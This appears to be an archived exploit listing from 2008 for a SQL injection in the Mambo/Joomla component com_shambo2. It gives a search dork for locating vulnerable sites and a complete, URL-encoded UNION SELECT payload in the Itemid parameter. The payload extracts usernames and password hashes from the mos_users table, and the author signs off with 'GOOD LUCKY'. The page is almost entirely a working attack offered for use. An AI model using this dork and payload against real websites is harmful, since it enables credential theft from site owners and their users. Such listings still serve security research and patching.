[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mambo Component Shambo2 (Itemid) Remote SQL Injection Vulnerability
# Published : 2008-02-04
# Author : S@BUN
# Previous Title : Mambo Component Awesom <= 0.3.2 (listid) SQL Injection Vulnerability
# Next Title : VHD Web Pack 2.0 (index.php page) Local File Inclusion Vulnerability
#########################################################################
#
# joomla SQL Injection(com_shambo2)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"com_shambo2"
#
##########################################################################
EXPLOIT :
index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users
##########################################################################
# S@BUN www.hackturkiye.com S@BUN
##########################################################################
# S@BUN GOOD LUCKY S@BUN
##########################################################################
# www.Syue.com [2008-02-04]